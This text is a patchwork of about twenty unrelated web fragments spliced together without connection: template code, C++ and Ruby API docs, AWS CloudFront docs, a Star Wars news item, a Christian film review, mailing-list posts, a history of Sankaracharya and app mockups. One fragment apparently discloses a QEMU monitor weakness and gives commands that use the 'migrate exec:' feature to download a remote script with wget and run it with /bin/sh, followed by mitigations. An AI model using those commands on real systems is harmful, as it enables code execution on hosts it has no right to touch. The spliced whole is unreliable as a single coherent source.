--- layout: pattern ---
X2 paysage
{% include images/inc-mosaiques_img-X2.html %}X3 paysage
{% include images/inc-mosaiques_img-X3.html %}X4 paysage
{% include images/inc-mosaiques_img-X2.html %} {% include images/inc-mosaiques_img-X2.html %}X2 portrait
{% include images/inc-mosaiques_img-X2-portrait.html %}X2 portrait/paysage
{% include images/inc-mosaiques_img-X2-portrait_paysage.html %}X2 paysage/portrait
{% include images/inc-mosaiques_img-X2-paysage_portrait.html %}X3 paysage/portrait
{% include images/inc-mosaiques_img-X3-paysage_portrait.html %}Combinaison 1
{% include images/inc-mosaiques_img-X2.html %} {% include images/inc-mosaiques_img-X2-portrait_paysage.html %}Combinaison 2
{% include images/inc-mosaiques_img-X3.html %} {% include images/inc-mosaiques_img-X2-portrait_paysage.html %}Combinaison 3
{% include images/inc-mosaiques_img-X2-paysage_portrait.html %} {% include images/inc-mosaiques_img-X2.html %} {% include images/inc-mosaiques_img-X2.html %} {% include modal/inc-mosaique-img.html %}


#include <pf_base.h>
|
|
using | ssv = Eigen::Matrix< float_t, dimx, 1 > |
| |
|
using | osv = Eigen::Matrix< float_t, dimy, 1 > |
| |
|
using | aPair = std::pair< std::vector< ssv >, std::vector< osv > > |
| |
|
|
aPair | sim_forward (unsigned int T) |
| | simulates forward through time
|
| |
| virtual ssv | muSamp ()=0 |
| | samples from the first time's state distribution More...
|
| |
| virtual ssv | fSamp (const ssv &xtm1)=0 |
| | returns a sample from the latent Markov transition More...
|
| |
| virtual osv | gSamp (const ssv &xt)=0 |
| | returns a sample for the observed series More...
|
| |
template<size_t dimx, size_t dimy, typename float_t>
class ForwardMod< dimx, dimy, float_t >
- Author
- t
◆ fSamp()
template<size_t dimx, size_t dimy, typename float_t >
| virtual ssv ForwardMod< dimx, dimy, float_t >::fSamp |
( |
const ssv & |
xtm1 | ) |
|
|
pure virtual |
returns a sample from the latent Markov transition
- Returns
- a state-sized vector for the xt sample
◆ gSamp()
template<size_t dimx, size_t dimy, typename float_t >
| virtual osv ForwardMod< dimx, dimy, float_t >::gSamp |
( |
const ssv & |
xt | ) |
|
|
pure virtual |
returns a sample for the observed series
- Returns
◆ muSamp()
template<size_t dimx, size_t dimy, typename float_t >
| virtual ssv ForwardMod< dimx, dimy, float_t >::muSamp |
( |
| ) |
|
|
pure virtual |
samples from the first time's state distribution
- Returns
- a state-sized vector for the x1 sample
The documentation for this class was generated from the following file:


{% extends "base.html" %} {% block title %}
Medieval catalogues > UNIVERSITY AND COLLEGE LIBRARIES OF OXFORD > New College > List of books recorded by an Italian visitor to Oxford, early 16th cent.
{% endif %}15 identified entries found.
All data was derived from the List of Identifications by Professor Richard Sharpe.
{% if not printing %}
A key to codes used in the List is available (opens in new tab).{% endif %}


Hello, Code School!
Learn the best way of developing a web site
Learn a lot of developing languages
Practicing, practicing, practicing


Soenke Ruempler
Soenke Ruempler is co-founder of superluminar.io, a consultancy located in Hamburg, where he helps organizations to embrace technical and cultural change on their way to the Public Cloud. He is always curious about the bigger picture, and he blogs at ruempler.eu and superluminar.io or tweets at twitter.com/s0enke.
Talk: Serverless vs. Organizations: How Serverless forces us to *un*learn
For many orgs serverless is going to become a major challenge. Entire teams might get obsolete or will change substantially. How can we prepare our org and people for unlearning old patterns that don’t work anymore in a serverless world? Let’s have a look at organizational *un*learning.
Back to the agenda


In pictures: Linda Gorham before and after her weight loss 21 Nov 2019, 18:36 by Kayla Walsh Mandy and Linda after running the Dublin marathon


function CanvasAllocated: Boolean;
Determines if the canvas has already been allocated. Check the Canvas property for more details.
[See also]: TBitmap32.CanvasAllocated, TBitmap32.DeleteCanvas, DeleteCanvas


'Star Wars: The Rise of Skywalker' director says someone sold the real script on eBay after one of the actors left it under their hotel bed, Business Insider - Business Insider Singapore
by Travis Clark, Business Insider US- “Star Wars: The Rise of Skywalker” director J.J. Abrams told Good Morning America on Monday that one of the movie’s actors left the script under their hotel bed and it was found by someone who was cleaning the room.
- Abrams said the script made its way to eBay, but someone at Disney bought it before anyone else could.
- Visit Business Insider’s homepage for more stories.
“Star Wars: The Rise of Skywalker” is shrouded in secrecy, but its secrets could have been spilled due to a careless actor.
The movie’s director, J.J. Abrams, told Good Morning America on Monday that the script was sold on eBay after someone who was cleaning an actor’s hotel room found the script under their bed.
“One of our actors, I won’t say which one – I want to, but I won’t – left it under their bed and it was found by someone who was cleaning their place,” Abrams said. “And it was given to someone else, who then went to sell it on eBay.”
Abrams said that someone at Disney bought the script before anyone else could.
As Entertainment Weekly noted, the top-billed stars of the movie (Daisy Ridley and Adam Driver, for example) are the likely culprits, as supporting actors probably weren’t given full scripts.
“The Rise of Skywalker” is the finale to the nine-movie “Star Wars” Skywalker Saga. It hits theaters on December 20.
Read more of Business Insider’s coverage of “Star Wars”
- ‘The Mandalorian’ composer explains his process for creating 8 distinct scores for the 8 episodes, and how he made the show’s theme
- Disney Plus’ ‘The Mandalorian’ is the top new streaming TV show of the year so far
- Disney Plus’ ‘The Mandalorian’ proves ‘Star Wars’ can make the leap from movies to prestige TV
- Marvel Studios boss hints at his plan for his first ‘Star Wars’ movie and dismisses potential franchise ‘fatigue’
- Disney is adamant that audiences don’t want more standalone ‘Star Wars’ movies, but experts disagree


Greenhouse gas levels in the Earth's atmosphere and the corresponding global temperatures have been much higher at times in Earth's history, like during the Triassic period (the age of dinosaurs). How can looking at the geological past of the Earth help us to plan for the future? Why is it short-sighted to say that just because the Earth has been warmer in the past, we should do nothing to slow climate change?
in-context


Over 10,000 chapters from all the titles you can think of.
Yes, even that secret manga you could never find.
From the first volumes to the latest chapters just published in Japan... Navee has them all !
Comedies, thrilles, sci-fi, romance... No, those are not only categories for TV series but for Manga as well. Silver lining?
There is one for everyone !
Know already what you want to read? Just search and start reading.
Still looking for inspiration? Tell us what you like and Navee will suggest some titles.
Dive deeper into the story by not just reading it but listening to it. Thanks to our Immersive Reading® follow the voice of our narrators and find an whole new depth to reading. What's more? No ads, HD quality, and the latest from the authors. Sit back and enjoy.
Access reviews, the best of the week, and various interviews with authors, editors and the wider community. Talk with others fans about your favorite manga and don't miss the latest releases thanks to personalized notifications.
Read anywhere, anytime. On any device.
Download your favorite titles to enjoy them offline. Also the audio.


CloudFront Distribution ForwardedValues
ForwardedValues
is a property of the DefaultCacheBehavior and
CacheBehavior properties
that indicates whether Amazon CloudFront forwards query strings or cookies.
Syntax
JSON
{ "Cookies" :
Cookies
, "Headers" : [String, ...
], "QueryString" :Boolean
, "QueryStringCacheKeys" : [String, ...
] }
YAML
Cookies:
Cookies
Headers: -String
QueryString:Boolean
QueryStringCacheKeys: -String
Properties
Note
For more information about the constraints and valid values of each property, see the ForwardedValues data type in the Amazon CloudFront API Reference.
Cookies
-
Forwards specified cookies to the origin of the cache behavior. For more information, see Configuring CloudFront to Cache Based on Cookies in the Amazon CloudFront Developer Guide.
Required: No
Headers
-
Specifies the headers that you want Amazon CloudFront to forward to the origin for this cache behavior (whitelisted headers). For the headers that you specify, Amazon CloudFront also caches separate versions of a specified object that is based on the header values in viewer requests.
For custom origins, if you specify a single asterisk (["*"]), all headers are forwarded. If you don't specify a value, only the default headers are forwarded. For Amazon S3 origins, you can forward only selected headers; specifying * is not supported. For more information, see Configuring CloudFront to Cache Objects Based on Request Headers in the Amazon CloudFront Developer Guide.
Required: No
Type: List of String values
QueryString
-
Indicates whether you want CloudFront to forward query strings to the origin that is associated with this cache behavior. If so, specify
true
; if not, specifyfalse
. For more information about forwarding query strings, see theQueryString
parameter for the ForwardedValues type in the Amazon CloudFront API Reference.Required: Yes
Type: Boolean
QueryStringCacheKeys
-
If you forward query strings to the origin, specifies the query string parameters that CloudFront uses to determine which content to cache. For more information, see Configuring CloudFront to Cache Based on Query String Parameters in the Amazon CloudFront Developer Guide.
Required: No
Type: List of String values


{% load static %}
PawnShop Web Application
PawnShop
Web Application System
Transaction
Home
{% block content %} {% endblock content %}


Christian Critic's Movie Parables - http://www.christiancritic.com
BICENTENNIAL MAN (opens December 17) * * out of * * * * stars ========================
DIRECTED BY: Chris Columbus STARRING: Robin Williams, Embeth Davidtz, Sam Neill, Oliver Platt WRITTEN BY: Nicholas Kazan RATED: PG for language and some sexual content SCRIPTURE REFERENCES: Job 33:4, Genesis 2:7, Acs 17:24-25
A robot/android with a positronic brain who desperately wants to know what it is to be human? Didn't we see this done (and done better) on TV's Star Trek: The Next Generation?
Director Chris Columbus and star Robin Williams, who last teamed up to bring us MRS. DOUBTFIRE, join forces again for the futuristic faux-morality tale, BICENTENNIAL MAN. Based on an Isaac Asimov story, the film begins in the year 2005 with the delivery of a household appliance to the home of Richard Martin (Sam Neill, EVENT HORIZON). This appliance is an NDR-114 robot nicknamed Andrew by Little Miss (Hallie Kate Eisenberg, THE INSIDER), the youngest member of the family. He will spend the next 200 years in an attempt to be accepted by the world as something other than a Sharper Image catalogue item.
Encouraged by the family who owns him, Andrew begins to explore various facets of humanity. Whenever he finds himself falling short of the human experience, his standard reaction is to say "That won't do" before going off to correct the defect. Over time, he develops and incorporates humor, taste, facial expressions, a central nervous system, a desire for freedom, and last but not least... a functioning male anatomical "package".  His next step on the road to humanity is going to have to be his own mortality.
The 200 years pass quickly in this roughly 2½ hour long film (That's about 45 seconds per year) and yet the film itself tends to drag by, weighed down by its own pomposity. What begins as a lighthearted family romp in the comedic style of MRS. DOUBTFIRE rapidly evolves into a self-important, new-age minded movie equivalent of a warm and fuzzy group hug where the physical intimacy is forced rather than genuinely spontaneous.
Mr.  But unlike Dorothy's Tin Man, Andrew's heart never appears to be missing. From the very beginning, he demonstrates a curiosity and affection for the humans he serves. Most of the growth or development of the character is seen in the external improvements rather than in an internal realization. Stretched over the length of this movie, the characterization becomes transparently thin.
Embeth Davidtz (MANSFIELD PARK) in a dual role which has her playing both Little Miss and her grandchild, Portia, serves as the love interest for Andrew. Knowing that she cannot invest her emotions in a machine, she nonetheless must admit that no human tugs at her heart in quite the same way.
Oliver Platt (LAKE PLACID) brightens the screen as a kindly robotics engineer who drolly helps Andrew realize his goal to become accepted as human. And Sam Neill as Andrew's first (and last) owner shows a compassion and endearing affection towards his animatronic property turned friend.
Chris Columbus tries to look at the age-old question "What is the meaning of life?" by turning the question on its head and simply asking, "what defines life?" Of course, he isn't up to the challenge of answering his own question which he nimbly sidesteps. Were the question posed to a biblically minded person, the answer is readily available:
"The spirit of God hath made me, and the breath of the Almighty hath given me life." Job 33:4 [KJV]
Despite the technological breakthroughs of the modern world, one thing remains clear. Regardless of how much man may make something to resemble a human, the God-given life that is in us cannot be duplicated.
Andrew's quest for humanity is a noble but futile search. We may someday reach a point where we can build a machine like an NDR-114 with artificial intelligence, but to infuse that machine with a soul life is something that will always remain beyond our purview. God, after all, is the Creator of all life.
Michael Elliott December 1999 http://www.christiancritic.com
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


The monitor console is used to administer or debug the guest in the case of any issues, it can also be used to add drives in real time.
I mentioned this in a chat room with a bunch of friends, and after a bit of playing around the severity of this console being accessible was realised.
The real issue started to become clear when the live migration feature was discovered. Since the feature lets you run any unix command in order to handle the migration data, it became an easy way to spawn a shell inside the system.
QEMU Compat_monitor0 console (CTRL + ALT (mouse grab) + Shift + 2). Shift + 1 switches back to the Guest OS.
(qemu) migrate "exec:wget https://server/script -O /tmp/script"
(qemu) migrate "exec:/bin/sh /tmp/script"
Prevention:
The flag that prevents this from happening appears to be -nographic.
I later on discovered that this issue can also be prevented from setting a -monitor <somewhere> flag.


[gecode-users] Multiple separate searches
Milton Friedman
aemhm1 at hotmail.com
Mon Apr 23 09:09:28 CEST 2012
Guido,
Thanks for your suggested approach...it makes sense.
I didn't know that branch could be called outside the model (i.e., in main).
But I'm wondering whether I'm looking at all the relevant documentation,
examples, ways of modeling using Gecode, etc.
I've been studying M&PwG, consulting the online syntax documentation,
looking at the example code on the Gecode site, and searching this forum.
I get the feeling I have only 3 volumes of an encyclopedia, w/o the rest.
Are there other good sources of info, similar to the M&PwG case studies,
that give some insight into the approaches people have found to use
Gecode to do common tasks well? I'm not as interested in how it was built
as I am in how to use it well (I'm glad it's built well, but don't intend to
build another, or extend it...I'm trying to use it).
I started this thread with a question about an approach to using multiple
separate searches. Christian helpfully indicated that this is a common
technique. Are there articles, papers, blog posts, forum entries where
I can learn about common techniques to using Gecode, to use or build on
what others have done?
(This isn't a complaint about the documentation...the docs explain their
content very carefully and precisely. I just wonder if anyone's
documented elements of Gecode's usage too.)
Thanks,
-Milt
More information about the users
mailing list


Sri Sankara Bhagavadpadacharya was one of the greatest philosophers and spiritualists of the world. He was a discerning dialectician, a consummate commentator and celebrated poet.  Sages and scholars, who have shone through the centuries after his time, have regarded Him as an incarnation of the Divine. Many a thinker and many a scholar of different climes and times has been attracted by the philosophic discipline of Advaita (Monism) effectively propagated by Sankara. Even modern thinkers and scholars have paid eulogistic tributes to Sankara's genius.
Sankara's yatra to Kailasa, the abode of Lord Siva, is one of the most notable events in the history of the Acharya. During the course of his peregrination in the Himalayan region, Sankaracharya desired to have darshan of Sri Paramesvara having his abode in Kailas. Sankara managed to reach Kailas quickly because of His yogic power. He had darshan of Lord Paramesvara and Devi Parvati. According to tradition, Sankara adored Paramesvara by singing two hymns, known as "Sivapadadi-kesanta stotram" and "Sivakesadi-padanta stotram". Immensely pleased with Sankara's prayers, Paramesvara blessed Sankara, presented him with five sphatika (crystal) lingas and instructed him to arrange for the worship of the lingas for the sake of the welfare of the universe, indicating also the mode of worship. Paramesvara also handed over to Sankara the palm-leaf manuscript of Soundarya Lahari, which is noted as Siva's own hymn in praise of the Parasakti.
From available biographical information, it is learnt that Sankaracharya placed one of the five sphatika lingas got at Kailas and kept the Yoga Linga for his own personal worship and that of his successors at Kanchi.
Bhagavatpada Sankara got Kanchi city remodeled and also caused the reconstruction of the three principal temples of Kanchi, viz., the temples of Sri Ekamranatha, Devi Kamakshi and Sri Varadaraja with the assistance of Rajasena, ruler of Kanchi. Sankara consecrated the Srichakra before Devi Kamakshi and thereby secured Her bounteous grace for devotees having Her darshan.
A significant event in the history of Sankaracharya is his occupying the Sarvajnapeetha - the Throne of Omniscience at Kanchi. A great ascetic one of the early Acharyas of the Kanchi Sankaracharya Math - by name Jnanottama - has written a commentary entitled "Chandrika", on Sureswaracharya's "Naishkarmyasiddhi". The second sloka (at the end of the commentary) alludes to the author of the Chandrika as the glory of the Sarvajnasrama by which term we have to understand the Sarvajna Pitha or the Pontifical seat the Advaita Matha in Kancheepuram.
Sankara Bhagavapadacharya retired to Kanchi, the Southern Mokshapuri, towards the end of his earthly career and shook off his mortal coils in that sacred city. A number of works state these facts. Verse 46 of the sixteenth chapter of the ninth section of the voluminous Sanskrit work "Sivarahasya" (in the printed Canareese edition No. 32), Jayachamarajendra Series of the Mysore Palace, refers to Sankaracharya's worship of the Yoga, Bhoga, Vara, Mukti and Moksha lingas, to his success over scholars of other faiths and to his attaining siddhi (eternal bliss) at his own ashrama in Kanchi.
Markandeya Samhita, an ancient puranic treatise, consists of 100 khandas, each having sub-sections called parispandas, Sub-section 7 and 8 of the 72nd khanda of this work narrate briefly the history of Sankara. "Sankaracaritam". A verse, in the seventh parispanda of the 72nd khanda of this work, relates that the Mahatma Sankara, attained the cit-svarupa, i.e. attained eternal bliss at Kanchi, after having consecrated Kamakshi.
Anantanandagiri's biography of Sankara (12th century A.D.) - all versions printed and manuscripts, including the Madras University edition - says "The World Preceptor (Sankara) desiring to leave for his own abode, sitting once in the Moskhapuri of Kanchi, absorbed his gross body into the subtle one and getting reduced into the size of a thumb, attained eternal bliss and remains as the all-pervading "Cit" to this day".
Coming to modern times, there is quite a large number of works, in different languages, written by erudite scholars mentioning Kanchi as the last resort of Sankara.
Apart from all the citations made above, it needs mention that, in the Srimukha-Birudavali (the string of honorific epithets) of the Sankaracharya Math at Kanchi (existing without change from very ancient times), the following epithet is found:
"Srimacchankara Bhagavatpadacharyanam adhisthane Simhasanabhishiktanam"
The word "adhisthane" points to Sankara's siddhi at Kanchi.
It may be noted that the name of Sri Sankaracharya is found only in the official seal of Kanchi Kamakoti Matha. The word "Kanci-divya kshetre and the phrase "Srimacchankara-Bhagavatpadacaryanam adhisthane" in the birudavali indicate Sankara's siddhi at Kanchi.
Sri Sankara Bhagavatpada was not merely a great philosopher and preceptor, but an adept in organising and a conspicuous national integrator of a very early period of India's history. For safeguarding the Veda-Dharma and restoring it to its pristine glory and for propagating the Advaita discipline, the Great Acharya established monastic institutions at many of the sacred and important places of the country that he had visited during his digvijaya-yatra..
From Anantanandagiri (1119 - 1199 A.D.) whose work is the earliest biography of Sankara, down to Mahamahopadhyaya Lakshmana Suri (Author of "Bhagavatpadabhyudayam" - 1917) of the last century, a number of reputed historians, distinguished scholars and researchers have candidly stated, in their works, that the Great Sankara established monastic institutions (mathas) at many an important and sacred places that he visited, during his digvijaya tours.
Guhya-Sahasranama (Sanskrit) refers to five Sankaracharya Peethas (Maths), -Kamakoti Peetha as presided over by Sankara himself, to four disciples, Suresvara, Padmapada, Totaka and Hastamalaka, to the places of the four other peethas and to five Sphatika lingas.
It may be interesting to read about a Sankara Math at the sacred city of Kasi. This is known as Sumeru Math and as Paduka Math. It is presided over by an Advaita Dandi Sanyasi. In some authentic works, only one monastic institution is spoken of. In the Sankaracharya Charita by Govindanatha, and the Sankarabhydaya of Rajachudamani Deekshita, there is no mention about any Matha or Peetha except the Sarvagna Peetha at Kanchi.
Sri Sankara Bhagavatpada settled down at Kancheepuram (Kanchi) at the end of his peregrinations and spent the evening years of his life in the Math at Kanchi, established on Vaisakha Sukla Purnima of the year Sidharthi - Kali 2620 (482 B.C.) He initiated a very young boy into the ascetic order, nominated him as his successor in his Kanchi Matha, and placed him under the care of Sri Suresvara, the most aged and the most erudite of His disciples. Sri Sankara Bhagavatpada attained Videha mukti in his 32nd year - Cyclic year Raktakshi, Adhika Rishabha Maasa, Sukla Ekadasi - Kali 2625 (477 B.C.)


oh hai
I like shells, not seashells or cshells, more bash shells :)
$ touch "Karl_Fischer"
$ ln -s "Karl_Fischer" kmf
$ whoami kmf
I like to fiddle and tinker, if I have an itch I like to scratch ... I rarely write from scratch, but only if I met my match
seriously
My name is Karl, I stay in South Africa, Pretoria to be exact. I love Open Source and Free\Libre Software, Follow me here or on Twitter @kmf


This metric is a more precise measurement of productivity loss than simply
measuring broken commits on the master branch; some jobs don't ever run on
PRs and thus will break master both without the author being able to predict so and without
other devs ever noticing.
Note: A few factors result in the most recent data being omitted:
Buckets start on a fixed day of the week (Sunday)
The current week is always omitted, as it is incomplete and would show misleadingly lower numbers
A master build failure span falls into a bucket based on the span's start timestamp
Some recent failure spans may not have been manually annotated yet
This query result is cached as a "materialized view" nightly (around 5:30am UTC)
Detected but not annotated
These are lateral and longitudinal clusters of failures that have not been marked by a human.
All Longitudinal Detected
These are commits for which one or more successive commits failed the same job.


Gummi Tetris
by Rob BeschizzaShown here is the sixteenth version of "Softbody Tetris" (also an entire genre) by C4D4U, a depiction of falling blocks made of gummi candy. It's necessary to use a powerful computer to simulate this because otherwise the tetronimoes would be eaten before settling into place.
It makes me happy to create such stuff. It makes a lot of fun.
ASMR for my eyes ;)
I love the original Tetris game.
And I love Jelly 😋


| Class | Sirb::Runner |
| In: |
lib/sirb/runner.rb
|
| Parent: | Object |
| description | [R] | |
| name | [R] |
Needs a lambda, instead of a block, because we‘re serializing this and the code I use to serialize this needs to be able to find the string that created this code.
# File lib/sirb/runner.rb, line 32 32: def add_command(name, l, description=nil) 33: coerce name 34: pstore.transaction { pstore[@name] = new(name.to_s, l, description) } 35: end
# File lib/sirb/runner.rb, line 60 60: def find(name) 61: coerce name 62: begin 63: pstore.transaction { pstore[@name] } 64: rescue Exception => e 65: # Don't know a good way to look in the pstore for something that doesn't 66: # exist 67: nil 68: end 69: end
# File lib/sirb/runner.rb, line 138 138: def left_justify(str) 139: return "" unless str 140: str.split("\n").map {|line| line.lstrip }.join("\n") 141: end
Needs a lambda, instead of a block, because we‘re serializing this and the code I use to serialize this needs to be able to find the string that created this code.
# File lib/sirb/runner.rb, line 149 149: def initialize(name, l, description=nil) 150: @name, @block, @description = name, l, description 151: end
# File lib/sirb/runner.rb, line 37 37: def remove_command(name) 38: coerce name 39: pstore.transaction { pstore.delete(@name) } 40: end
Very harsh, but necessary if you have an unknown issue with a stored block.
# File lib/sirb/runner.rb, line 43 43: def reset_commands 44: puts "Are you sure you want to remove all commands?(yN)\nThis will delete the contents of #{filename}" 45: result = gets.strip 46: return false unless result == 'y' 47: `rm -rf #{filename}` 48: puts "Successfully reset all commands." 49: end
# File lib/sirb/runner.rb, line 71 71: def run(name, *data) 72: coerce name 73: raise ArgumentError, "Unknown command: #{name}" unless self.find(@name) 74: self.find(@name).run(*data) 75: end
# File lib/sirb/runner.rb, line 87 87: def sirb_description 88: 89: result = left_justify %{ 90: This is Irb, with some extra libraries and commands loaded. 91: You have loaded the following libraries: 92: } 93: result += tab_indent( Loader.libs_loaded.join("\n") ) 94: result += "\n\n" 95: 96: if not Loader.failed_libs.empty? 97: result += "The following libraries are not available on your system at this time:\n" 98: result += tab_indent( Loader.failed_libs.join("\n") ) 99: result += "\n\n" 100: end 101: 102: result 103: end
# File lib/sirb/runner.rb, line 82 82: def sirb_help(command=nil) 83: return puts(command_help(command)) if command 84: puts(sirb_description, all_commands_description, '') 85: end
Probably need to setup some decorators here instead…
# File lib/sirb/runner.rb, line 133 133: def tab_indent(str) 134: return "" unless str 135: str.strip.split("\n").map {|line| "\t#{line.strip}" }.join("\n") 136: end
# File lib/sirb/runner.rb, line 105 105: def all_commands_description 106: result = '' 107: 108: if commands.empty? 109: result += "You have not stored any custom commands at this time.\n\n" 110: else 111: result += "You have setup the following commands:\n\n" 112: result += commands_as_commands.map{ |cmd| cmd.command_help }.join("\n") 113: result += "\n\n" 114: end 115: 116: result += "You can store a command like this:\n" 117: result += tab_indent(%{ 118: set :command_name, lambda{|list params| command }, "Optional description" 119: }) 120: 121: result 122: 123: end
# File lib/sirb/runner.rb, line 126 126: def command_help(command) 127: cmd = find(command) 128: cmd ? cmd.command_help : "Could not find the command: #{command}" 129: end
# File lib/sirb/runner.rb, line 55 55: def commands_as_commands 56: commands.map {|cmd| find(cmd)} 57: end
# File lib/sirb/runner.rb, line 19 19: def dirname 20: @@dirname ||= File.expand_path(File.join(ENV['HOME'], '.sirb')) 21: end
# File lib/sirb/runner.rb, line 24 24: def filename 25: @@filename ||= File.join(dirname, "proc.pstore") 26: end
# File lib/sirb/runner.rb, line 172 172: def command_help 173: result = (self.description and not self.description.empty?) ? formatted_description : empty_description 174: result + source_description 175: end
Kind of loose: allows me to use reduce, map, or just call a stored command. This may just seem to work, but we‘ll see.
# File lib/sirb/runner.rb, line 155 155: def run(*data) 156: case @block.arity 157: when 2 158: # Same as reduce 159: data.inject &@block 160: when 1 161: # Same as map 162: data.map &@block 163: when -1 164: # Same as call 165: @block.call 166: else 167: # Probably not going to work. 168: data.inject &@block 169: end 170: end
# File lib/sirb/runner.rb, line 196 196: def source_description 197: "\n\tSource<EMAIL_ADDRESS>198: end
# File lib/sirb/runner.rb, line 177 177: def arity_desc 178: case @block.arity 179: when -1 180: "takes 0 arguments" 181: when 1 182: "takes 1 argument, returns an array" 183: when 2 184: "takes 2 arguments, returns a single value--reduce function" 185: else 186: "takes<EMAIL_ADDRESS>arguments" 187: end 188: end
# File lib/sirb/runner.rb, line 200 200: def empty_description 201: "#{name_line}\tThere is no other information available for the #{self.name.to_s} command." 202: end
# File lib/sirb/runner.rb, line 205 205: def formatted_description 206: name_line + 207: Runner.tab_indent(self.description) 208: end


{% extends "templates/layouts/container.html" %} {% block content %}
Asphalt gojek webteam for developing fast and powerful web interfaces.


Learning, building and teaching - for the web and beyond
On my journey from philosophy over elearning into web development, I aquired some broad skills.
You can drop me a line on my Twitter, if you are so inclined: Doxanthropos


[gecode-users] flow constraint
Javier Núñez
jnunezf at gmail.com
Wed May 14 03:10:27 CEST 2008
Hello for all,
I need make this flow constraint for a routing problem:
(in latex): \sum_j x_{ ij } = \sum_j x_{ ji }
(in ampl): sum {j in J} x[i,j] - sum {j in J} x[j,i] = 0
(where x[i,j] is a binary variable, for all i in I and j in J.). I
tried to do this constraint in gecodej (in java), but is incorrect:
[...]
x = new VarMatrix<IntVar>(this, n, n, IntVar.class, 0, 1);
for (int i=0; i<n; i++) {
linear(this, x.row(i) - x.col(i) , IRT_EQ, 0);
}
[...]
Error: "operator: cannot be applied to VarArray<IntVar>, VarArray<IntVar>"
How I can implement this constraint in gecode/gecodej? There are
gecode examples for vehicle routing problem?
Thank you.
More information about the gecode-users
mailing list


PREFERENCES
Select your preferences to receive customized recommendations!


About Transmission
Transmission is a game about teamwork and communication. See how it can turn a group of friends into a team of wacky scientists...
Created by Sunny Shah & Vinesh Kannan |
GitHub
| Illinois Tech


Attaches a component to the search interface. This allows the search interface to easily list and iterate over its components.
Normally, the component type is a unique identifier without the Coveo
prefix (e.g., CoveoFacet
->
Facet
, CoveoPager
-> Pager
, CoveoQuerybox
-> Querybox
, etc.).
The component instance to attach.
Return the debug info about this component.
Detaches a component from the search interface.
Normally, the component type is a unique identifier without the Coveo
prefix (e.g., CoveoFacet
->
Facet
, CoveoPager
-> Pager
, CoveoQuerybox
-> Querybox
, etc.).
The component instance to detach.
Detaches from the SearchInterface every component that is inside the given element.
Disable the component. Normally this means that the component will not execute handlers for the framework events (query events, for example). Component are enabled by default on creation.
Enable the component. Normally this means that the component will execute handlers for the framework events (query events, for example). Components are enabled by default on creation.
Returns the bindings, or environment, for the current component.
Gets all the components of a given type.
Normally, the component type is a unique identifier without the Coveo
prefix (e.g., CoveoFacet
->
Facet
, CoveoPager
-> Pager
, CoveoQuerybox
-> Querybox
, etc.).
Gets the query context for the current search interface.
If the search interface has performed at least one query, it will try to resolve the context from the last query sent to the Coveo Search API.
If the search interface has not performed a query yet, it will try to resolve the context from any avaiable PipelineContext component.
If multiple PipelineContext components are available, it will merge all context values together.
Note: Having multiple PipelineContext components in the same search interface is not recommended, especially if some context keys are repeated across those components.
If no context is found, returns undefined
A disabled component will not participate in the query, or listen to ComponentEvents.
Allows component to log in the dev console.
Allows to get and set the different breakpoints for mobile and tablet devices.
This is useful, amongst other, for Facet, Tab and ResultList
The static ID that each component need to be identified.
For example, SearchButton -> static ID : SearchButton -> className : CoveoSearchButton
If Recommendation.options.enableResponsiveMode is true
for all Recommendation components, specifies the
label of the dropdown button that allows to display the Recommendation components when in responsive mode.
If more than one Recommendation component in the search interface specifies a value for this option, then the framework uses the first occurrence of the option.
Default value is Recommendations
.
data-dropdown-header-label='foo'
Specifies whether to enable responsive mode for Recommendation components. Setting this options to false
on
any Recommendation component in a search interface disables responsive mode for all other Recommendation
components in the search interface.
Responsive mode displays all Recommendation components under a single dropdown button whenever the width of the HTML element which the search interface is bound to reaches or falls behind a certain threshold (see Recommendation.options.responsiveBreakpoint).
See also Recommendation.options.dropdownHeaderLabel.
Default value is true
.
data-enable-responsive-mode='true' data-enable-responsive-mode='false'
Specifies whether to hide the Recommendations component if no result or recommendation is available.
Default value is true
.
data-hide-if-no-results='true' data-hide-if-no-results='false'
Specifies the ID of the interface. The usage analytics use the interface ID to know which recommendation interface was selected.
Default value is Recommendation
for the first one and Recommendation_{number}
, where {number} depends on the
number of Recommendation interfaces with default IDs in the page for the others.
data-id='foo'
Specifies the main SearchInterface to listen to.
Specifies which options from the main QueryBuilder to use in the triggered query.
Possible values are:
expression
advancedExpression
constantExpression
disjunctionExpression
Example:
Adding the expression (q
) and the advanced expression (aq
) parts of the main query in the triggered query:
data-options-to-use="expression,advancedExpression"
Default value is expression
.
If Recommendation.options.enableResponsiveMode is true
for all Recommendation components, specifies the
width threshold (in pixels) of the search interface at which Recommendation components go in responsive mode.
Recommendation components go in responsive mode when the width of the search interface is equal to or lower than this value.
The search interface
corresponds to the HTML element with the class CoveoSearchInterface
.
If more than one Recommendation component in the search interface specifies a value for this option, then the framework uses the last occurrence of the option.
Default value is 1000
.
data-responsive-breakpoint='10'
Specifies whether to send the actions history along with the triggered query.
Setting this option to false
makes it impossible for this component to get Coveo Machine Learning
recommendations.
However, setting this option to false
can be useful to display side results in a search page.
Default value is true
.
data-send-actions-history='true' data-send-actions-history='false'
Specifies the user context to send to Coveo usage analytics. The component sends this information with the query alongside the user history to get the recommendations.
Creates a new Recommendation component.
The HTMLElement on which to instantiate the component.
The options for the Recommendation component.
The Recommendation component is a SearchInterface that displays recommendations typically based on user history.
This component usually listens to the main SearchInterface. When the main SearchInterface generates a query, the Recommendation component generates another query to get the recommendations at the same time.
To get history-based recommendations, you will likely want to include the
pageview
script in your page (see coveo.analytics.js). However, including this script is not mandatory. For instance, you could use the Recommendation component without the Coveo Machine Learning service to create a simple "recommended people" interface.It is possible to include this component inside another SearchInterface, but it is also possible to instantiate it as a "standalone" search interface, without even instantiating a main SearchInterface component. In any case, a Recommendation component always acts as a full-fledged search interface. Therefore, you can include any component inside the Recommendation component (Searchbox, Facet, Sort, etc.), just as you would inside the main SearchInterface component.


starbucks
$7.00
kindly ask the attendant to scan the barcode below:
4 7 1 9 8 4 2 0 1 3
Your rewards:
the coffee shop
(1 mile away)
$10.50
use
garden of eden
(1.2 miles away)
$8.50
use
starbucks
$7.00
used
starbucks
$7.00
kindly ask the attendant to scan the barcode below:
4 7 1 9 8 4 2 0 1 3
Sorry
modal message goes here


